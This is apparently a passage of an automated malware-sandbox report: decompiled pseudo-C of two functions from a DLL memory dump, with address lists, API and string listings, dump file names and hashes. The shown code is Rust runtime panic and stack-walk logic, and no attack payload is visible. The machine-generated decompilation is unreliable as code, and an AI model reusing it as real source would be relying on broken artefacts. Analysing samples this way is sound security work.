												 *(_t310 + 0x5a8) = 3;
												_t243 = E6EDBE890(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6ee0adf8 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6ee0add0, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6EDD6E20(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edfe2c0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6EDBE880( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6ee0adec = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6ee0adc8, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6edfd63c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6edfcd60;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6EDB2320( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

0x6edbdee3
0x6edbdee4
0x6edbdee5
0x6edbdee9
0x6edbdeef
0x6edbdef1
0x6edbdef7
0x6edbdefd
0x6edbdf07
0x6edbdf21
0x6edbdf27
0x6edbdf2e
0x6edbdf30
0x6edbdf33
0x6edbdf44
0x6edbdf49
0x6edbdf4c
0x6edbdf51
0x6edbdf56
0x6edbdf5d
0x6edbdf60
0x6edbdf67
0x6edbdf6a
0x6edbdf77
0x6edbdf7a
0x6edbdf96
0x6edbdf96
0x6edbdf9c
0x6edbdfa0
0x6edbdfa2
0x6edbdfa4
0x6edbdfae
0x6edbdfb2
0x6edbdfb7
0x6edbdfbd
0x6edbdfbd
0x6edbdfc0
0x6edbdfc3
0x6edbdfc6
0x6edbdfc9
0x6edbdfcc
0x6edbdfcf
0x6edbdf7c
0x6edbdfe0
0x6edbdfe0
0x6edbdfe6
0x6edbdfed
0x6edbdfed
0x6edbdff0
0x6edbdff2
0x6edbdffa
0x6edbe000
0x6edbe004
0x6edbe012
0x6edbdf80
0x6edbdf83
0x6edbdf85
0x6edbe03d
0x6edbe040
0x6edbe04a
0x6edbe04c
0x6edbe568
0x00000000
0x6edbe052
0x6edbe052
0x6edbe055
0x6edbe058
0x6edbe059
0x6edbe05e
0x6edbe064
0x6edbe069
0x6edbe06b
0x6edbe06e
0x6edbe073
0x6edbe076
0x6edbe078
0x00000000
0x00000000
0x6edbe07a
0x00000000
0x6edbe078
0x6edbdf8b
0x6edbdf8b
0x6edbdf91
0x6edbdf94
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbdf94
0x6edbe027
0x6edbe02a
0x6edbe032
0x6edbe035
0x00000000
0x6edbe03b
0x00000000
0x6edbe03b
0x00000000
0x6edbe035
0x6edbe07c
0x6edbe07c
0x6edbe082
0x6edbe084
0x6edbe087
0x6edbe08e
0x6edbe091
0x6edbe093
0x6edbe095
0x6edbe095
0x6edbe099
0x6edbe09b
0x6edbe0a0
0x6edbe0ad
0x6edbe0ad
0x6edbe0a0
0x6edbe099
0x6edbe0b2
0x6edbe0b2
0x6edbe0b4
0x6edbe11e
0x6edbe121
0x6edbe124
0x6edbe127
0x6edbe12a
0x6edbe0b6
0x6edbe0b6
0x6edbe0ba
0x6edbe0bc
0x6edbe0c1
0x6edbe0c7
0x6edbe0d2
0x6edbe0d4
0x6edbe0d7
0x6edbe0da
0x6edbe0dd
0x6edbe0e1
0x6edbe0e3
0x6edbe0e5
0x6edbe0e9
0x6edbe0eb
0x6edbe0eb
0x6edbe0f7
0x6edbe0fc
0x6edbe0fc
0x6edbe108
0x6edbe108
0x6edbe10d
0x6edbe110
0x6edbe112
0x6edbe112
0x6edbe134
0x6edbe137
0x6edbe13d
0x6edbe140
0x6edbe143
0x6edbe14d
0x6edbe157
0x6edbe161
0x6edbe16b
0x6edbe178
0x6edbe181
0x6edbe182
0x6edbe187
0x6edbe18a
0x6edbe18c
0x6edbe405
0x6edbe405
0x6edbe408
0x6edbe40a
0x6edbe40c
0x6edbe410
0x6edbe41b
0x6edbe41b
0x6edbe410
0x6edbe420
0x00000000
0x6edbe192
0x6edbe192
0x6edbe198
0x6edbe19f
0x6edbe1a3
0x6edbe1a6
0x6edbe1ad
0x6edbe1af
0x6edbe1b8
0x6edbe1be
0x6edbe1c1
0x6edbe1c8
0x6edbe1cc
0x6edbe1d2
0x6edbe1d8
0x6edbe1de
0x6edbe1e6
0x6edbe1ef
0x6edbe1f9
0x6edbe200
0x6edbe205
0x6edbe208
0x6edbe209
0x6edbe20e
0x6edbe213
0x6edbe215
0x6edbe226
0x6edbe22c
0x6edbe22f
0x6edbe231
0x6edbe24a
0x6edbe250
0x6edbe252
0x6edbe595
0x6edbe5ae
0x00000000
0x6edbe258
0x6edbe258
0x6edbe25a
0x6edbe25f
0x6edbe265
0x6edbe267
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbe267
0x6edbe233
0x6edbe233
0x6edbe239
0x6edbe23b
0x6edbe289
0x6edbe28e
0x6edbe291
0x6edbe296
0x6edbe299
0x6edbe29c
0x6edbe29e
0x6edbe2be
0x6edbe2be
0x6edbe2c7
0x6edbe2ce
0x6edbe2dd
0x6edbe2e2
0x6edbe2f7
0x6edbe2fe
0x6edbe301
0x6edbe30b
0x6edbe311
0x6edbe31b
0x6edbe325
0x6edbe32b
0x6edbe335
0x6edbe340
0x6edbe35e
0x6edbe361
0x6edbe364
0x00000000
0x00000000
0x6edbe376
0x6edbe37c
0x6edbe386
0x6edbe38b
0x6edbe38e
0x6edbe391
0x6edbe393
0x00000000
0x00000000
0x00000000
0x6edbe393
0x00000000
0x6edbe2a0
0x6edbe2ab
0x6edbe2b1
0x6edbe2b3
0x6edbe464
0x6edbe469
0x6edbe47e
0x6edbe485
0x6edbe48c
0x6edbe496
0x6edbe49d
0x6edbe4a0
0x6edbe4aa
0x6edbe4b0
0x6edbe4ba
0x6edbe4c4
0x6edbe4ca
0x6edbe4d4
0x6edbe4e0
0x6edbe4e0
0x6edbe4e6
0x6edbe4e8
0x6edbe506
0x6edbe522
0x6edbe524
0x6edbe527
0x6edbe395
0x6edbe398
0x6edbe39d
0x6edbe3a1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbe4ea
0x6edbe4f5
0x6edbe4fb
0x6edbe4fd
0x6edbe572
0x6edbe58b
0x00000000
0x6edbe4ff
0x6edbe4ff
0x6edbe501
0x00000000
0x6edbe501
0x6edbe4fd
0x00000000
0x6edbe52d
0x6edbe53d
0x6edbe543
0x6edbe54d
0x6edbe552
0x6edbe555
0x6edbe558
0x6edbe558
0x00000000
0x6edbe2b9
0x6edbe2b9
0x00000000
0x6edbe2b9
0x6edbe2b3
0x6edbe23d
0x6edbe269
0x6edbe274
0x6edbe27a
0x6edbe27c
0x6edbe5b8
0x6edbe5d1
0x6edbe5d9
0x6edbe5d9
0x6edbe5e0
0x6edbe5fc
0x6edbe282
0x6edbe282
0x6edbe284
0x00000000
0x6edbe284
0x6edbe27c
0x6edbe23b
0x6edbe217
0x6edbe217
0x6edbe21b
0x00000000
0x6edbe221
0x6edbe3a3
0x6edbe3a3
0x6edbe3a7
0x6edbe437
0x6edbe437
0x6edbe43a
0x6edbe43c
0x6edbe43e
0x6edbe442
0x6edbe44d
0x6edbe44d
0x6edbe442
0x6edbe452
0x6edbe3ad
0x6edbe3b0
0x6edbe3ba
0x6edbe3c4
0x6edbe3ce
0x6edbe3d8
0x6edbe3e2
0x6edbe3f8
0x6edbe3f9
0x6edbe401
0x6edbe403
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbe403
0x6edbe3a7
0x6edbe422
0x6edbe428
0x6edbe436
0x6edbe436
0x6edbe215
0x6edbe18c
0x00000000

APIs

SetLastError.KERNEL32(00000000), ref: 6EDBDFF2
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6EDBDFFA
GetLastError.KERNEL32 ref: 6EDBE006
GetLastError.KERNEL32 ref: 6EDBE018
GetLastError.KERNEL32 ref: 6EDBE07C
HeapFree.KERNEL32(00000000,00000000), ref: 6EDBE0AD
HeapFree.KERNEL32(00000000,?), ref: 6EDBE0F7
HeapFree.KERNEL32(00000000,?), ref: 6EDBE108
GetCurrentProcess.KERNEL32(?), ref: 6EDBE1E1
GetCurrentThread.KERNEL32 ref: 6EDBE1E9
RtlCaptureContext.KERNEL32(?), ref: 6EDBE209
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6EDBE24A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6EDBE274
GetCurrentProcess.KERNEL32 ref: 6EDBE289
GetProcAddress.KERNEL32(StackWalkEx), ref: 6EDBE2AB
ReleaseMutex.KERNEL32(?), ref: 6EDBE398
HeapFree.KERNEL32(00000000,?), ref: 6EDBE41B
HeapFree.KERNEL32(00000000,?,?), ref: 6EDBE44D
GetProcAddress.KERNEL32(StackWalk64), ref: 6EDBE4F5

Strings

SymGetModuleBase64, xrefs: 6EDBE269
StackWalkEx, xrefs: 6EDBE2A0
StackWalk64, xrefs: 6EDBE4EA
SymFunctionTableAccess64, xrefs: 6EDBE23F
called `Option::unwrap()` on a `None` value, xrefs: 6EDBE57C, 6EDBE59F, 6EDBE5C2

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: 6e59ac6c3fc60efd482b285281254a85b88c6d2dfaf2858f88d6cf0aaa7e2e6d
Instruction ID: c8f2202d44c67deda84327ac55440ba3de3893212ad0ab4ce09321154f82187f
Opcode Fuzzy Hash: 6e59ac6c3fc60efd482b285281254a85b88c6d2dfaf2858f88d6cf0aaa7e2e6d
Instruction Fuzzy Hash: C11202B1600B04DFE761CFA5C884B97BBF9AB49708F00492DD9AB8B690E771F449CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC8C0, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6EDBC8C0(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = E6EDC3B50;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6ee0adc0], esi");
				_t190 = E6EDBD1B0(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6EDD6EE0(_t264,  &M6EDFD0E7, 0x46, _t337,  &_v68, 0x6edfd060, 0x6edfd1ac);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6edfcd60;
						_v120 = 0x6edfd014;
						_v68 = 0x6edfda50;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EDB2640;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6EDBD2A0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6ee0adc8, 0, _t256);
							}
							_t194 = HeapFree( *0x6ee0adc8, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6edfda14;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6edfcd60;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6EDBD2A0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6ee0adbc);
					_v144 = 0x6ee0adbc;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6EDBD1B0(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6ee0adb0; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6EDBD530(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6EDD6EE0(_t264,  &M6EDFD0E7, 0x46, _t340,  &_v68, 0x6edfd060, 0x6edfd1ac);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6ee0a044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6ee0a044;
							_t202 = E6EDC2B10(_t264, 0x6ee0a044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6ee0a044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6ee0a044;
								_t203 = E6EDC2B10(_t264, 0x6ee0a044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6ee0adc8; // 0x1360000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6ee0a044;
										_t332 = _t205;
										_t206 =  *0x6ee0a044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6EDC2B10(_t264, 0x6ee0a044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6EDD6C30(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6ee0adc8, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6ee0adb0;
											 *0x6ee0adb0 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6edc3440
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6ee0adc8 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6EDBC800(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6EDD6EE0(_t264, "already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl", 0x10, __eflags,  &_v68, 0x6edfd050, 0x6edfd720);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6EDBC690(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6EDBC800(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6edfd8fc;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6edbde50;
										_v60 =  &_v100;
										_v56 = 0x6edbde50;
										_v52 =  &_v148;
										_v48 = E6EDBDE70;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EDBD2A0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6ee0adc8, 0, _t245);
											}
											HeapFree( *0x6ee0adc8, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ee0adac);
											_v68 = 0x6edfd2c0;
											_v64 = 1;
											_v152 = 0x6ee0adac;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EDBDEE0;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6EDBD2A0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ee0adac);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6EDBC800(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6EDBDC20(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ee0adbc);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6edfda8c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6edfcd60;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6EDBD2A0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6EDBD460( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6EDBD440(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6ee0a040 = 0;
											_t356 =  *0x6ee0a040;
											if( *0x6ee0a040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6edfd96c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6edfcd60;
											_v48 = 0;
											_v20 = 3;
											if(E6EDBD2A0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6ee0adc8, 0, _t235);
											}
											HeapFree( *0x6ee0adc8, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

0x6edbc8cc
0x6edbc8cf
0x6edbc8d6
0x6edbc8dd
0x6edbc8e2
0x6edbc8e7
0x6edbc8f0
0x6edbc8f3
0x6edbc8f9
0x6edbc901
0x6edbc906
0x6edbc908
0x6edbc922
0x6edbc927
0x6edbc92a
0x6edbc92a
0x6edbc92e
0x6edbc931
0x6edbc934
0x6edbc936
0x6edbc9aa
0x6edbc9ad
0x6edbca0a
0x6edbca11
0x6edbca1b
0x6edbca22
0x6edbca29
0x6edbca2d
0x6edbca34
0x6edbca3b
0x6edbca41
0x6edbca44
0x6edbca47
0x6edbca4d
0x6edbca54
0x6edbca57
0x6edbca5e
0x6edbca63
0x6edbca65
0x6edbca6c
0x6edbca74
0x6edbca77
0x6edbca79
0x6edbca7c
0x6edbca7c
0x6edbca7f
0x6edbca82
0x6edbca86
0x6edbca88
0x6edbca8a
0x6edbca8e
0x6edbca90
0x6edbca90
0x6edbca9c
0x6edbca9c
0x6edbcaaa
0x6edbcaaa
0x00000000
0x6edbca65
0x6edbc9b2
0x6edbc9b5
0x6edbc9bc
0x6edbc9c3
0x6edbc9ca
0x6edbc9d1
0x6edbc9d5
0x6edbc9dc
0x6edbc9e3
0x6edbc9e8
0x6edbc9ea
0x00000000
0x6edbc9f0
0x6edbc9f5
0x6edbc9fd
0x6edbca00
0x6edbca02
0x00000000
0x6edbca02
0x6edbc93d
0x6edbc93d
0x6edbc945
0x6edbc94b
0x6edbc955
0x6edbc95c
0x6edbc963
0x6edbc969
0x6edbc96c
0x6edbc96f
0x6edbc972
0x6edbc975
0x6edbc97a
0x6edbc97d
0x6edbc97f
0x6edbcab3
0x6edbcab3
0x6edbcab6
0x6edbcab8
0x6edbcb8b
0x6edbcb90
0x6edbcb93
0x6edbcb96
0x6edbcd97
0x00000000
0x6edbcd97
0x6edbcb9c
0x6edbcb9f
0x6edbcd90
0x00000000
0x6edbcd90
0x6edbcba5
0x6edbcba7
0x00000000
0x00000000
0x6edbcbb0
0x6edbcbb5
0x6edbcbb8
0x6edbcbbb
0x6edbcbbd
0x00000000
0x00000000
0x6edbcbc3
0x00000000
0x6edbcbc3
0x6edbcabe
0x00000000
0x6edbc985
0x6edbc99d
0x6edbc9a2
0x6edbcdbe
0x6edbcdbe
0x6edbcdc0
0x6edbcdc0
0x6edbcdc5
0x6edbcaf3
0x6edbcaf3
0x6edbcaf6
0x6edbcaf9
0x6edbcb00
0x6edbcb02
0x6edbcb07
0x6edbcb07
0x6edbcb0d
0x6edbcb16
0x6edbcbf3
0x6edbcbf3
0x6edbcbf8
0x6edbcbfa
0x6edbcbfc
0x6edbcc01
0x6edbcc01
0x6edbcc07
0x6edbcc0d
0x6edbcc0f
0x6edbcdcf
0x6edbcdd4
0x6edbcdd6
0x6edbcde6
0x6edbcdeb
0x6edbcdf0
0x6edbcdf2
0x6edbce32
0x6edbce38
0x6edbce3f
0x6edbce41
0x6edbce46
0x6edbce48
0x6edbce4f
0x6edbce52
0x6edbce57
0x6edbce57
0x6edbce5c
0x00000000
0x6edbce5c
0x6edbcdf4
0x6edbcdfe
0x6edbce03
0x6edbce05
0x6edbce05
0x6edbce08
0x6edbce0b
0x6edbce0e
0x6edbceb8
0x6edbcebe
0x6edbcec9
0x6edbcec9
0x6edbcece
0x6edbcece
0x6edbced0
0x6edbced0
0x6edbced2
0x6edbcedd
0x6edbcedd
0x6edbcee2
0x6edbcee2
